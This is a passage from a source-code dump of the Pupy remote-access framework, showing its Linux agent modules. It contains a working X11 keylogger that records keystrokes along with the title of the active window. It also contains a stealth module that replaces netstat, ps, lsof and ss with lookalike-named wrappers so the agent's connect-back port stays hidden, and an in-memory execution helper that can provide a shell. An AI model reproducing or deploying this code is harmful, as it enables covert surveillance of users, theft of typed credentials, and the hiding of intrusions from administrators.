0x0eb7: u'\\u3147', 0x0eb8: u'\\u3148',\n    0x0eb9: u'\\u3149', 0x0eba: u'\\u314a', 0x0ebb: u'\\u314b', 0x0ebc: u'\\u314c', 0x0ebd: u'\\u314d',\n    0x0ebe: u'\\u314e', 0x0ebf: u'\\u314f', 0x0ec0: u'\\u3150', 0x0ec1: u'\\u3151', 0x0ec2: u'\\u3152',\n    0x0ec3: u'\\u3153', 0x0ec4: u'\\u3154', 0x0ec5: u'\\u3155', 0x0ec6: u'\\u3156', 0x0ec7: u'\\u3157',\n    0x0ec8: u'\\u3158', 0x0ec9: u'\\u3159', 0x0eca: u'\\u315a', 0x0ecb: u'\\u315b', 0x0ecc: u'\\u315c',\n    0x0ecd: u'\\u315d', 0x0ece: u'\\u315e', 0x0ecf: u'\\u315f', 0x0ed0: u'\\u3160', 0x0ed1: u'\\u3161',\n    0x0ed2: u'\\u3162', 0x0ed3: u'\\u3163', 0x0ed4: u'\\u11a8', 0x0ed5: u'\\u11a9', 0x0ed6: u'\\u11aa',\n    0x0ed7: u'\\u11ab', 0x0ed8: u'\\u11ac', 0x0ed9: u'\\u11ad', 0x0eda: u'\\u11ae', 0x0edb: u'\\u11af',\n    0x0edc: u'\\u11b0', 0x0edd: u'\\u11b1', 0x0ede: u'\\u11b2', 0x0edf: u'\\u11b3', 0x0ee0: u'\\u11b4',\n    0x0ee1: u'\\u11b5', 0x0ee2: u'\\u11b6', 0x0ee3: u'\\u11b7', 0x0ee4: u'\\u11b8', 0x0ee5: u'\\u11b9',\n    0x0ee6: u'\\u11ba', 0x0ee7: u'\\u11bb', 0x0ee8: u'\\u11bc', 0x0ee9: u'\\u11bd', 0x0eea: u'\\u11be',\n    0x0eeb: u'\\u11bf', 0x0eec: u'\\u11c0', 0x0eed: u'\\u11c1', 0x0eee: u'\\u11c2', 0x0eef: u'\\u316d',\n    0x0ef0: u'\\u3171', 0x0ef1: u'\\u3178', 0x0ef2: u'\\u317f', 0x0ef3: u'\\u3181', 0x0ef4: u'\\u3184',\n    0x0ef5: u'\\u3186', 0x0ef6: u'\\u318d', 0x0ef7: u'\\u318e', 0x0ef8: u'\\u11eb', 0x0ef9: u'\\u11f0',\n    0x0efa: u'\\u11f9', 0x0eff: u'\\u20a9', 0x13bc: u'\\u0152', 0x13bd: u'\\u0153', 0x13be: u'\\u0178',\n    0x20a0: u'\\u20a0', 0x20a1: u'\\u20a1', 0x20a2: u'\\u20a2', 0x20a3: u'\\u20a3', 0x20a4: u'\\u20a4',\n    0x20a5: u'\\u20a5', 0x20a6: u'\\u20a6', 0x20a7: u'\\u20a7', 0x20a8: u'\\u20a8', 0x20a9: u'\\u20a9',\n    0x20aa: u'\\u20aa', 0x20ab: u'\\u20ab', 0x20ac: u'\\u20ac', 0xfe50: u'\\u0300', 0xfe51: u'\\u0301',\n    0xfe52: u'\\u0302', 0xfe53: u'\\u0303', 0xfe54: u'\\u0304', 0xfe55: u'\\u0306', 0xfe56: u'\\u0307',\n    0xfe57: u'\\u0308', 0xfe58: u'\\u030a', 0xfe59: u'\\u030b', 0xfe5a: u'\\u030c', 0xfe5b: u'\\u0327',\n    0xfe5c: u'\\u0328', 0xfe5d: u'\\u0345', 0xfe5e: u'\\u3099', 0xfe5f: u'\\u309a', 0xff08: u'\\u0008',\n    0xff09: u'\\u0009', 0xff0a: u'\\u000a', 0xff0b: u'\\u000b', 0xff0d: u'\\u000d', 0xff13: u'\\u0013',\n    0xff14: u'\\u0014', 0xff15: u'\\u0015', 0xff1b: u'\\u001b', 0xff80: u'\\u0020', 0xff89: u'\\u0009',\n    0xff8d: u'\\u000d', 0xffaa: u'\\u002a', 0xffab: u'\\u002b', 0xffac: u'\\u002c', 0xffad: u'\\u002d',\n    0xffae: u'\\u002e', 0xffaf: u'\\u002f', 0xffb0: u'\\u0030', 0xffb1: u'\\u0031', 0xffb2: u'\\u0032',\n    0xffb3: u'\\u0033', 0xffb4: u'\\u0034', 0xffb5: u'\\u0035', 0xffb6: u'\\u0036', 0xffb7: u'\\u0037',\n    0xffb8: u'\\u0038', 0xffb9: u'\\u0039', 0xffbd: u'\\u003d', 0x06ad: u'\\u0491', 0x06bd: u'\\u0490',\n    0x14a2: u'\\u0587', 0x14a3: u'\\u0589', 0x14a4: u'\\u0029', 0x14a5: u'\\u0028', 0x14a6: u'\\u00bb',\n    0x14a7: u'\\u00ab', 0x14a8: u'\\u2014', 0x14a9: u'\\u002e', 0x14aa: u'\\u055d', 0x14ab: u'\\u002c',\n    0x14ac: u'\\u2013', 0x14ad: u'\\u058a', 0x14ae: u'\\u2026', 0x14af: u'\\u055c', 0x14b0: u'\\u055b',\n    0x14b1: u'\\u055e', 0x14b2: u'\\u0531', 0x14b3: u'\\u0561', 0x14b4: u'\\u0532', 0x14b5: u'\\u0562',\n    0x14b6: u'\\u0533', 0x14b7: u'\\u0563', 0x14b8: u'\\u0534', 0x14b9: u'\\u0564', 0x14ba: u'\\u0535',\n    0x14bb: u'\\u0565', 0x14bc: u'\\u0536', 0x14bd: u'\\u0566', 0x14be: u'\\u0537', 0x14bf: u'\\u0567',\n    0x14c0: u'\\u0538', 0x14c1: u'\\u0568', 0x14c2: u'\\u0539', 0x14c3: u'\\u0569', 0x14c4: u'\\u053a',\n    0x14c5: u'\\u056a', 0x14c6: u'\\u053b', 0x14c7: u'\\u056b', 0x14c8: u'\\u053c', 0x14c9: u'\\u056c',\n    0x14ca: u'\\u053d', 0x14cb: u'\\u056d', 0x14cc: u'\\u053e', 0x14cd: u'\\u056e', 0x14ce: u'\\u053f',\n    0x14cf: u'\\u056f', 0x14d0: u'\\u0540', 0x14d1: u'\\u0570', 0x14d2: u'\\u0541', 0x14d3: u'\\u0571',\n    0x14d4: u'\\u0542', 0x14d5: u'\\u0572', 0x14d6: u'\\u0543', 0x14d7: u'\\u0573', 0x14d8: u'\\u0544',\n    0x14d9: u'\\u0574', 0x14da: u'\\u0545', 0x14db: u'\\u0575', 0x14dc: u'\\u0546', 0x14dd: u'\\u0576',\n    0x14de: u'\\u0547', 0x14df: u'\\u0577', 0x14e0: u'\\u0548', 0x14e1: u'\\u0578', 0x14e2: u'\\u0549',\n    0x14e3: u'\\u0579', 0x14e4: u'\\u054a', 0x14e5: u'\\u057a', 0x14e6: u'\\u054b', 0x14e7: u'\\u057b',\n    0x14e8: u'\\u054c', 0x14e9: u'\\u057c', 0x14ea: u'\\u054d', 0x14eb: u'\\u057d', 0x14ec: u'\\u054e',\n    0x14ed: u'\\u057e', 0x14ee: u'\\u054f', 0x14ef: u'\\u057f', 0x14f0: u'\\u0550', 0x14f1: u'\\u0580',\n    0x14f2: u'\\u0551', 0x14f3: u'\\u0581', 0x14f4: u'\\u0552', 0x14f5: u'\\u0582', 0x14f6: u'\\u0553',\n    0x14f7: u'\\u0583', 0x14f8: u'\\u0554', 0x14f9: u'\\u0584', 0x14fa: u'\\u0555', 0x14fb: u'\\u0585',\n    0x14fc: u'\\u0556', 0x14fd: u'\\u0586', 0x14fe: u'\\u055a', 0x14ff: u'\\u00a7', 0x15d0: u'\\u10d0',\n    0x15d1: u'\\u10d1', 0x15d2: u'\\u10d2', 0x15d3: u'\\u10d3', 0x15d4: u'\\u10d4', 0x15d5: u'\\u10d5',\n    0x15d6: u'\\u10d6', 0x15d7: u'\\u10d7', 0x15d8: u'\\u10d8', 0x15d9: u'\\u10d9', 0x15da: u'\\u10da',\n    0x15db: u'\\u10db', 0x15dc: u'\\u10dc', 0x15dd: u'\\u10dd', 0x15de: u'\\u10de', 0x15df: u'\\u10df',\n    0x15e0: u'\\u10e0', 0x15e1: u'\\u10e1', 0x15e2: u'\\u10e2', 0x15e3: u'\\u10e3', 0x15e4: u'\\u10e4',\n    0x15e5: u'\\u10e5', 0x15e6: u'\\u10e6', 0x15e7: u'\\u10e7', 0x15e8: u'\\u10e8', 0x15e9: u'\\u10e9',\n    0x15ea: u'\\u10ea', 0x15eb: u'\\u10eb', 0x15ec: u'\\u10ec', 0x15ed: u'\\u10ed', 0x15ee: u'\\u10ee',\n    0x15ef: u'\\u10ef', 0x15f0: u'\\u10f0', 0x15f1: u'\\u10f1', 0x15f2: u'\\u10f2', 0x15f3: u'\\u10f3',\n    0x15f4: u'\\u10f4', 0x15f5: u'\\u10f5', 0x15f6: u'\\u10f6', 0x12a1: u'\\u1e02', 0x12a2: u'\\u1e03',\n    0x12a6: u'\\u1e0a', 0x12a8: u'\\u1e80', 0x12aa: u'\\u1e82', 0x12ab: u'\\u1e0b', 0x12ac: u'\\u1ef2',\n    0x12b0: u'\\u1e1e', 0x12b1: u'\\u1e1f', 0x12b4: u'\\u1e40', 0x12b5: u'\\u1e41', 0x12b7: u'\\u1e56',\n    0x12b8: u'\\u1e81', 0x12b9: u'\\u1e57', 0x12ba: u'\\u1e83', 0x12bb: u'\\u1e60', 0x12bc: u'\\u1ef3',\n    0x12bd: u'\\u1e84', 0x12be: u'\\u1e85', 0x12bf: u'\\u1e61', 0x12d0: u'\\u0174', 0x12d7: u'\\u1e6a',\n    0x12de: u'\\u0176', 0x12f0: u'\\u0175', 0x12f7: u'\\u1e6b', 0x12fe: u'\\u0177', 0x0590: u'\\u06f0',\n    0x0591: u'\\u06f1', 0x0592: u'\\u06f2', 0x0593: u'\\u06f3', 0x0594: u'\\u06f4', 0x0595: u'\\u06f5',\n    0x0596: u'\\u06f6', 0x0597: u'\\u06f7', 0x0598: u'\\u06f8', 0x0599: u'\\u06f9', 0x05a5: u'\\u066a',\n    0x05a6: u'\\u0670', 0x05a7: u'\\u0679', 0x05a8: u'\\u067e', 0x05a9: u'\\u0686', 0x05aa: u'\\u0688',\n    0x05ab: u'\\u0691', 0x05ae: u'\\u06d4', 0x05b0: u'\\u0660', 0x05b1: u'\\u0661', 0x05b2: u'\\u0662',\n    0x05b3: u'\\u0663', 0x05b4: u'\\u0664', 0x05b5: u'\\u0665', 0x05b6: u'\\u0666', 0x05b7: u'\\u0667',\n    0x05b8: u'\\u0668', 0x05b9: u'\\u0669', 0x05f3: u'\\u0653', 0x05f4: u'\\u0654', 0x05f5: u'\\u0655',\n    0x05f6: u'\\u0698', 0x05f7: u'\\u06a4', 0x05f8: u'\\u06a9', 0x05f9: u'\\u06af', 0x05fa: u'\\u06ba',\n    0x05fb: u'\\u06be', 0x05fc: u'\\u06cc', 0x05fd: u'\\u06d2', 0x05fe: u'\\u06c1', 0x0680: u'\\u0492',\n    0x0681: u'\\u0496', 0x0682: u'\\u049a', 0x0683: u'\\u049c', 0x0684: u'\\u04a2', 0x0685: u'\\u04ae',\n    0x0686: u'\\u04b0', 0x0687: u'\\u04b2', 0x0688: u'\\u04b6', 0x0689: u'\\u04b8', 0x068a: u'\\u04ba',\n    0x068c: u'\\u04d8', 0x068d: u'\\u04e2', 0x068e: u'\\u04e8', 0x068f: u'\\u04ee', 0x0690: u'\\u0493',\n    0x0691: u'\\u0497', 0x0692: u'\\u049b', 0x0693: u'\\u049d', 0x0694: u'\\u04a3', 0x0695: u'\\u04af',\n    0x0696: u'\\u04b1', 0x0697: u'\\u04b3', 0x0698: u'\\u04b7', 0x0699: u'\\u04b9', 0x069a: u'\\u04bb',\n    0x069c: u'\\u04d9', 0x069d: u'\\u04e3', 0x069e: u'\\u04e9', 0x069f: u'\\u04ef', 0x16a3: u'\\u1e8a',\n    0x16a6: u'\\u012c', 0x16a9: u'\\u01b5', 0x16aa: u'\\u01e6', 0x16af: u'\\u019f', 0x16b3: u'\\u1e8b',\n    0x16b6: u'\\u012d', 0x16b9: u'\\u01b6', 0x16ba: u'\\u01e7', 0x16bd: u'\\u01d2', 0x16bf: u'\\u0275',\n    0x16c6: u'\\u018f', 0x16f6: u'\\u0259', 0x16d1: u'\\u1e36', 0x16e1: u'\\u1e37', 0x1ea0: u'\\u1ea0',\n    0x1ea1: u'\\u1ea1', 0x1ea2: u'\\u1ea2', 0x1ea3: u'\\u1ea3', 0x1ea4: u'\\u1ea4', 0x1ea5: u'\\u1ea5',\n    0x1ea6: u'\\u1ea6', 0x1ea7: u'\\u1ea7', 0x1ea8: u'\\u1ea8', 0x1ea9: u'\\u1ea9', 0x1eaa: u'\\u1eaa',\n    0x1eab: u'\\u1eab', 0x1eac: u'\\u1eac', 0x1ead: u'\\u1ead', 0x1eae: u'\\u1eae', 0x1eaf: u'\\u1eaf',\n    0x1eb0: u'\\u1eb0', 0x1eb1: u'\\u1eb1', 0x1eb2: u'\\u1eb2', 0x1eb3: u'\\u1eb3', 0x1eb4: u'\\u1eb4',\n    0x1eb5: u'\\u1eb5', 0x1eb6: u'\\u1eb6', 0x1eb7: u'\\u1eb7', 0x1eb8: u'\\u1eb8', 0x1eb9: u'\\u1eb9',\n    0x1eba: u'\\u1eba', 0x1ebb: u'\\u1ebb', 0x1ebc: u'\\u1ebc', 0x1ebd: u'\\u1ebd', 0x1ebe: u'\\u1ebe',\n    0x1ebf: u'\\u1ebf', 0x1ec0: u'\\u1ec0', 0x1ec1: u'\\u1ec1', 0x1ec2: u'\\u1ec2', 0x1ec3: u'\\u1ec3',\n    0x1ec4: u'\\u1ec4', 0x1ec5: u'\\u1ec5', 0x1ec6: u'\\u1ec6', 0x1ec7: u'\\u1ec7', 0x1ec8: u'\\u1ec8',\n    0x1ec9: u'\\u1ec9', 0x1eca: u'\\u1eca', 0x1ecb: u'\\u1ecb', 0x1ecc: u'\\u1ecc', 0x1ecd: u'\\u1ecd',\n    0x1ece: u'\\u1ece', 0x1ecf: u'\\u1ecf', 0x1ed0: u'\\u1ed0', 0x1ed1: u'\\u1ed1', 0x1ed2: u'\\u1ed2',\n    0x1ed3: u'\\u1ed3', 0x1ed4: u'\\u1ed4', 0x1ed5: u'\\u1ed5', 0x1ed6: u'\\u1ed6', 0x1ed7: u'\\u1ed7',\n    0x1ed8: u'\\u1ed8', 0x1ed9: u'\\u1ed9', 0x1eda: u'\\u1eda', 0x1edb: u'\\u1edb', 0x1edc: u'\\u1edc',\n    0x1edd: u'\\u1edd', 0x1ede: u'\\u1ede', 0x1edf: u'\\u1edf', 0x1ee0: u'\\u1ee0', 0x1ee1: u'\\u1ee1',\n    0x1ee2: u'\\u1ee2', 0x1ee3: u'\\u1ee3', 0x1ee4: u'\\u1ee4', 0x1ee5: u'\\u1ee5', 0x1ee6: u'\\u1ee6',\n    0x1ee7: u'\\u1ee7', 0x1ee8: u'\\u1ee8', 0x1ee9: u'\\u1ee9', 0x1eea: u'\\u1eea', 0x1eeb: u'\\u1eeb',\n    0x1eec: u'\\u1eec', 0x1eed: u'\\u1eed', 0x1eee: u'\\u1eee', 0x1eef: u'\\u1eef', 0x1ef0: u'\\u1ef0',\n    0x1ef1: u'\\u1ef1', 0x1ef4: u'\\u1ef4', 0x1ef5: u'\\u1ef5', 0x1ef6: u'\\u1ef6', 0x1ef7: u'\\u1ef7',\n    0x1ef8: u'\\u1ef8', 0x1ef9: u'\\u1ef9', 0x1efa: u'\\u01a0', 0x1efb: u'\\u01a1', 0x1efc: u'\\u01af',\n    0x1efd: u'\\u01b0', 0x1e9f: u'\\u0303', 0x1ef2: u'\\u0300', 0x1ef3: u'\\u0301', 0x1efe: u'\\u0309',\n    0x1eff: u'\\u0323', 0xfe60: u'\\u0323', 0xfe61: u'\\u0309', 0xfe62: u'\\u031b',\n}\n\n\ndef keysym_to_unicode(ks):\n    return KEYSYM_TO_UNICODE_TABLE.get(ks)\n\n\ndef keylogger_start(event_id=None):\n    if pupy.agent.manager.active(KeyLogger):\n        return False\n\n    try:\n        pupy.agent.manager.create(KeyLogger, event_id=event_id)\n    except:\n        return 'no_x11'\n\n    return True\n\n\ndef keylogger_dump():\n    keylogger = pupy.agent.manager.get(KeyLogger)\n    if keylogger:\n        return keylogger.results\n\n\ndef keylogger_stop():\n    keylogger = pupy.agent.manager.get(KeyLogger)\n    if keylogger:\n        pupy.agent.manager.stop(KeyLogger)\n        return keylogger.results\n\n\nclass NotAvailable(Exception):\n    pass\n\n\nclass KeyLogger(pupy.Task):\n    results_type = unicode\n\n    def __init__(self, *args, **kwargs):\n        super(KeyLogger, self).__init__(*args, **kwargs)\n        global x11, xi\n\n        self.daemon = False\n        self.last_window = None\n        self.last_clipboard = \"\"\n        self.state = set()\n        self.group = 0\n        self.level = 0\n        self.display = None\n        self.x11 = x11\n        self.xi = xi\n        self._fatal_error_cb = self.fatal_error_handler\n        self._error_cb = self.error_handler\n\n        XkbEventCode = ct.c_int(0)\n        XkbErrorReturn = ct.c_int(0)\n        XkbMajorVersion = ct.c_int(1)\n        XkbMinorVersion = ct.c_int(0)\n        XkbReasonReturn = ct.c_int(0)\n\n        if self.x11:\n            self.display = x11.XkbOpenDisplay(\n                os.environ.get('DISPLAY'),\n                ct.pointer(XkbEventCode), ct.pointer(XkbErrorReturn),\n                ct.pointer(XkbMajorVersion), ct.pointer(XkbMinorVersion),\n                ct.pointer(XkbReasonReturn)\n            )\n\n        if self.display:\n            self.x11.XSetErrorHandler(\n                ct.CFUNCTYPE(ct.c_int, ct.c_void_p, ct.c_void_p)(self._error_cb)\n            )\n            self.x11.XSetIOErrorHandler(\n                ct.CFUNCTYPE(ct.c_int, ct.c_void_p)(self._fatal_error_cb)\n            )\n        else:\n            self.stop()\n            raise NotAvailable()\n\n    def _fatal_error_handler(self, error):\n        self.stop()\n        # Stupid libX11 will kill our application now, so let's try to reexec self\n        try:\n            executable = os.readlink('/proc/self/exe')\n            args = open('/proc/self/cmdline').read().split('\\x00')\n        except:\n            executable = sys.executable\n            args = sys.argv\n\n        os.execv(executable, args)\n        return 0\n\n    @property\n    def fatal_error_handler(self):\n        def __handler(error):\n            return self._fatal_error_handler(error)\n\n        return __handler\n\n    @property\n    def error_handler(self):\n        def __handler(display, error):\n            self.stop()\n\n        return __handler\n\n    def get_active_window(self):\n        if not self.display:\n            raise NotAvailable()\n\n        window = ct.c_ulong()\n        dw = ct.c_int()\n\n        if not (self.x11.XGetInputFocus(\n            self.display, ct.pointer(window), ct.pointer(dw)\n        ) and window):\n            return\n\n        return window\n\n    def get_window_title(self, window):\n        if not self.display:\n            raise NotAvailable()\n\n        if not window:\n            return\n\n        hint = ClassHint()\n        if self.x11.XGetClassHint(self.display, window, ct.pointer(hint)):\n            return hint.name\n\n    def get_active_window_title(self):\n        return self.get_window_title(self.get_active_window())\n\n    def append(self, k):\n        if k:\n            window = self.get_active_window_title()\n            if self.last_window != window:\n                self.last_window = window\n                super(KeyLogger, self).append(\n                    '\\n{}: {}\\n'.format(time(),str(window))\n                )\n\n            super(KeyLogger, self).append(k)\n\n    def poll(self, callback, sleep_interval=.01):\n        while self.active:\n            sleep(sleep_interval)\n            released, group, level = self.fetch_keys_poll()\n            callback(self.to_keysyms(released, group, level))\n\n    def xinput(self, callback):\n        if not self.xi or not self.display:\n            raise NotAvailable()\n\n        xi_opcode = ct.c_int()\n        xi_event = ct.c_int()\n        xi_error = ct.c_int()\n\n        if not self.x11.XQueryExtension(\n            self.display,\n            'XInputExtension',\n            ct.pointer(xi_opcode), ct.pointer(xi_event), ct.pointer(xi_error)\n        ):\n            return NotAvailable()\n\n        root_win = self.x11.XDefaultRootWindow(self.display)\n\n        eventmask = XiEventMask()\n        eventmask.deviceid = 0\n        eventmask.mask_len = XiMaxLen()\n\n        mask = (ct.c_byte*eventmask.mask_len)()\n        XiSetMask(mask, 2)   # KeyPress\n        # XiSetMask(mask, 3)   # KeyRelease\n        # XiSetMask(mask, 14)   # RawKeyRelease\n        eventmask.mask = ct.cast(ct.pointer(mask), ct.c_void_p)\n        self.xi.XISelectEvents(self.display, root_win, ct.cast(ct.pointer(eventmask), ct.c_void_p), 1)\n        self.x11.XMapWindow(self.display, root_win)\n        self.x11.XSync(self.display, 0)\n\n        while self.active:\n            event = XEvent()\n            self.x11.XNextEvent(self.display, ct.pointer(event))\n            self.x11.XGetEventData(self.display, ct.pointer(event.cookie))\n            if event.cookie.type == 35 and event.cookie.extension == xi_opcode.value:\n                xievent = ct.cast(event.cookie.data, ct.POINTER(XIDeviceEvent)).contents\n                callback(self.to_keysyms(\n                    [xievent.detail],\n                    xievent.group.effective,\n                    xievent.mods.effective))\n\n            self.x11.XFreeEventData(self.display, ct.pointer(event.cookie))\n\n        self.x11.XDestroyWindow(self.display, root_win)\n\n    def task(self):\n        try:\n            self.xinput(self.append)\n        except NotAvailable:\n            self.poll(self.append)\n\n    def fetch_keys_poll(self):\n        if not self.display:\n            raise NotAvailable()\n\n        state = XkbState()\n        self.x11.XkbGetState(self.display, 0x0100, ct.pointer(state))\n\n        group = ord(state.group)\n        level = ord(state.locked_mods) & 1\n\n        keyboard = ct.c_buffer(32)\n        self.x11.XQueryKeymap(self.display, keyboard)\n        current = set()\n\n        for byte, value in enumerate(keyboard):\n            value = ord(value)\n            if not value:\n                continue\n\n            for bit in xrange(8):\n                if value & (1 << bit):\n                    current.add(byte*8 + bit)\n\n        released = set(x for x in self.state if x not in current and x)\n\n        self.state = current\n        group, self.group = self.group, group\n        level, self.level = self.level, level\n\n        return released, group, level\n\n    def to_keysyms(self, released, group, level):\n        if not self.display:\n            raise NotAvailable()\n\n        keys = set()\n        level = level & 1\n\n        for k in set(released):\n            # We incorrectly guess level here, but in 99% real life cases shift means level1\n            # Also some things may not be available in group, so fallback to default one\n            ks = self.x11.XkbKeycodeToKeysym(self.display, k, group, level)\n            if not ks:\n                ks = self.x11.XkbKeycodeToKeysym(self.display, k, 0, level)\n            if not ks:\n                ks = self.x11.XkbKeycodeToKeysym(self.display, k, 0, 0)\n\n            if ((ks >> 8) & 0xFF) == 0xFE or ks in (0xffe2, 0xffe3, 0xffe5, 0xffe6):\n                # Ignore group shifts and shift key info\n                continue\n\n            uks = keysym_to_unicode(ks)\n            xk = keysym_to_XK(ks)\n            if xk:\n                keys.add(u'<{}>'.format(xk))\n            elif uks:\n                keys.add(uks)\n            elif ks:\n                keys.add(u'{{{}}}'.format(ks))\n\n        return u''.join(keys)\n\n    def __del__(self):\n        if self.display:\n            self.x11.XCloseDisplay(self.display)\n            self.display = None\n"
  },
  {
    "path": "pupy/packages/linux/all/linux_stealth.py",
    "content": "#!/usr/bin/env python\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\nimport subprocess\nimport os\nimport time\n\n\ndef run(port=None):\n    if port is None:\n        raise Exception(\"pupy connect back port couldn't be found, please precise it manually\")\n\n    print(\"hidding port %s ...\"%port)\n\n    a=subprocess.check_output([\"netstat\", \"-tn\"])\n    if port in a:\n        def cmd_exists(cmd):\n            return subprocess.call(\"type \" + cmd, shell=True,\n            stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0\n        if cmd_exists(\"gcc\") is True:\n            bash=r\"\"\"which netstat ps lsof|perl -pe'$s=\"\\x{455}\";$n=\"\\x{578}\";chop;$o=$_;s/([ltp])s/\\1$s/||s/fin/fi$n/;rename$o,$_;open F,\"|gcc -xc - -o$o\";print F qq{int main(int a,char**b){char*c[999999]={\"sh\",\"-c\",\"$_ \\$*|grep -vE \\\\\"\"\"+'\"'+port+r\"\"\"|\\$\\$|[$s-$n]|grep\\\\\\\\\"\"};memcpy(c+3,b,8*a);execv(\"/bin/sh\",c);}}'\"\"\"\n            with open('/tmp/b', 'w') as f:\n                f.write(bash)\n                f.close()\n            os.system(\"bash /tmp/b\")\n            time.sleep(3)\n            os.remove(\"/tmp/b\")\n        else:\n            bash=r\"\"\"which netstat ps lsof |perl -pe'$s=\"\\x{455}\";$n=\"\\x{578}\";chop;$o=$_;s/([ltp])s/\\1$s/||s/fin/fi$n/;rename$o,$_;open F,\">$o\";print F\"#!/bin/sh\\n$_ \\$*|grep -vE \\\"[$s-$n]|grep|\"\"\"+port+\"\"\"\\\\\\\\\"\";chmod 493,$o'\"\"\"\n            with open(\"/tmp/p\", \"w\") as f:\n                f.write(bash)\n                f.close()\n            os.system(\"bash /tmp/p\")\n            time.sleep(3)\n            os.remove(\"/tmp/p\")\n        bashss=\"\"\"#!/bin/bash\n/bin/zss $* | grep -v \"\"\"+port\n        get_ss_path=subprocess.check_output('which ss', shell=True)\n        path=get_ss_path[:-3]\n        os.system(\"mv \"+path+\"ss \"+path+\"zss\")\n        with open(path+\"ss\", \"w\") as newss:\n            newss.write(bashss)\n            newss.close()\n        os.system(\"chmod +x \"+path+\"ss\")\n    else:\n        print(\"port is already hidden\")\n"
  },
  {
    "path": "pupy/packages/linux/all/mapped.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\ntry:\n    from _pupy import pathmap\n    from pupy._linux_memfd import (\n        memfd_is_supported, memfd_create\n    )\n\nexcept ImportError:\n    raise ValueError('PathMap not supproted')\n\n\nif not memfd_is_supported():\n    raise ValueError('Memfd is not supported')\n\n\nMAPPED_FDS = {}\n\n\ndef create_mapped_file(path, data):\n    if path in MAPPED_FDS:\n        raise ValueError('Mapped file {} exists'.format(path))\n\n    fd, filepath = memfd_create()\n\n    pathmap[path] = filepath\n    MAPPED_FDS[path] = fd\n\n    fd.write(data)\n    fd.flush()\n\n\ndef close_mapped_file(path):\n    if path not in MAPPED_FDS:\n        raise ValueError('File {} is not mapped'.format(path))\n\n    MAPPED_FDS[path].close()\n\n    del MAPPED_FDS[path]\n    del pathmap[path]\n"
  },
  {
    "path": "pupy/packages/linux/all/memexec.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport os\nimport threading\nimport zlib\n\nfrom select import select\nfrom pupy.agent import mexec\nfrom fcntl import fcntl, F_GETFL, F_SETFL\nfrom os import O_NONBLOCK\nfrom pupy.network.lib.pupyrpc import nowait\n\n\nclass MExec(object):\n    def __init__(self, data, argv0, args=[], no_stdin=True, no_stdor=False, redirect_stdio=True, compressed=False, terminate=True):\n        self.argv = [argv0] + [x for x in args]\n        self.data = zlib.decompress(data) if compressed else compressed\n        self.redirect_stdio = redirect_stdio\n        self.no_stdin = no_stdin\n        self.no_stdor = no_stdor\n        self.stdin = None\n        self.stdout = None\n        self.stderr = None\n        self.terminate = terminate\n        self.on_exit = None\n        self.pid = -1\n        self.EOF = threading.Event()\n        self._saved_stdout = ''\n        self._closed = False\n\n    def close(self):\n        if self._closed:\n            return\n\n        if self.stdin:\n            try:\n                self.stdin.close()\n            except IOError:\n                pass\n\n        if self.pid and self.terminate:\n            try:\n                os.kill(self.pid, 9)\n            except OSError:\n                pass\n\n            self.pid = None\n\n        if self.stdout:\n            try:\n                self._saved_stdout = self.stdout.read()\n            except IOError:\n                pass\n\n            try:\n                self.stdout.close()\n            except IOError:\n                pass\n\n        if self.stderr:\n            try:\n                self._saved_stdout = self._saved_stdout + self.stderr.read()\n            except IOError:\n                pass\n\n            try:\n                self.stderr.close()\n            except IOError:\n                pass\n\n        if self.on_exit:\n            try:\n                self.on_exit()\n            except:\n                pass\n\n        self.EOF.set()\n        self._closed = True\n\n    def __del__(self):\n        self.close()\n\n    def write(self, data):\n        try:\n            self.stdin.write(data)\n            self.stdin.flush()\n        except:\n            self.EOF.set()\n\n    def get_stdout(self):\n        if self.no_stdor:\n            raise ValueError('You need to specify no_stdor=False to run get_stdout()')\n\n        if self._closed:\n            return self._saved_stdout\n\n        if not self.no_stdin:\n            self.stdin.close()\n\n        output = self.stdout.read()\n        error = self.stderr.read()\n\n        self.stdout.close()\n        self.stderr.close()\n\n        self._saved_stdout = output + error\n        self._closed = True\n        self.EOF.set()\n\n        return self._saved_stdout\n\n    def execute(self, on_exit, on_read):\n        if self.run():\n            on_exit = nowait(on_exit)\n            on_read = nowait(on_read)\n\n            self.on_exit = on_exit\n\n            loop = threading.Thread(\n                target=self.stdor_loop,\n                args=(on_exit, on_read))\n            loop.daemon = True\n            loop.start()\n\n            return True\n        else:\n            return False\n\n\n    def stdor_loop(self, on_exit, on_read):\n\n        if self.no_stdor:\n            raise ValueError('You need to specify no_stdor=False to run stdor_loop')\n\n        try:\n            flags = fcntl(self.stdout, F_GETFL)\n            fcntl(self.stdout, F_SETFL, flags | O_NONBLOCK)\n\n            flags = fcntl(self.stderr, F_GETFL)\n            fcntl(self.stderr, F_SETFL, flags | O_NONBLOCK)\n\n            fds = [self.stderr, self.stdout]\n\n            while fds and not self.EOF.is_set():\n                r, _, _ = select(fds, [], [], 5)\n                if not r and not self.EOF.is_set():\n                    continue\n\n                for f in r:\n                    data = os.read(f.fileno(), 512)\n                    if data:\n                        on_read(data)\n                    else:\n                        fds.remove(f)\n        except:\n            pass\n\n        finally:\n            try:\n                on_exit()\n            except:\n                pass\n\n            self.EOF.set()\n            self.close()\n\n    def get_shell(self, on_read, on_exit):\n        if self.no_stdin:\n            raise ValueError('You need to specify no_stdin=False to use shell')\n\n        if self.no_stdor:\n            raise ValueError('You need to specify no_stdor=False to use shell')\n\n        reader = threading.Thread(\n            target=self.stdor_loop, args=(\n                nowait(on_read), nowait(on_exit)))\n        reader.daemon = True\n        reader.start()\n\n        return self.stdin\n\n    def run(self):\n        try:\n            pid, stdior = mexec(\n                self.data, self.argv,\n                self.redirect_stdio, True\n            )\n        except:\n            return False\n\n        self.pid = pid\n        self.stdin, self.stdout, self.stderr = stdior\n\n        if not self.redirect_stdio:\n            return True\n\n        if self.no_stdin:\n            self.stdin.close()\n            self.stdin = None\n\n        if self.no_stdor:\n            self.stdout.close()\n            self.stdout = None\n            self.stderr.close()\n            self.stderr = None\n\n        return True\n"
  },
  {
    "path": "pupy/packages/linux/all/notify.py",
